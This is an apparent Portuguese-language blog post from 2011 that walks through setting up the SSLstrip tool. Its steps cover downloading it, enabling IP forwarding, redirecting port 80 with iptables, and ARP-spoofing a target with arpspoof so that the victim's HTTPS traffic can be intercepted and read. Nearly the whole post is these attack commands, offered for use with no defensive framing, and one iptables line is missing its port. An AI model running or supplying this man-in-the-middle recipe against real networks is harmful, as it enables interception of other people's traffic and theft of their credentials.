terça-feira, 8 de novembro de 2011

SSLSTRIP

O SSLSTRIP é uma ferramenta capaz de capturar e "ler" todo o tráfego SSL que por ele passar...

Baixe:
wget www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz

Instale o Twisted Web:
apt-get install python-twisted-web

Descompacte:
tar -zxvf sslstrip-0.9.tar.gz

Ative o roteamento em seu equipamento:
echo "1" > /proc/sys/net/ipv4/ip_forward

Faça o redirecionamento da porta 80:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port

Execute o sslstrip:
sslstrip.py -l [suaporta]

Instale o ArpSpoof através do pacote dsniff:
apt-get install dsniff

Rode o arspoof para redirecionar o tráfego para seu equipamento:
arpspoof [-i interface] [-t target] host

Fonte:
http://www.thoughtcrime.org/software/sslstrip/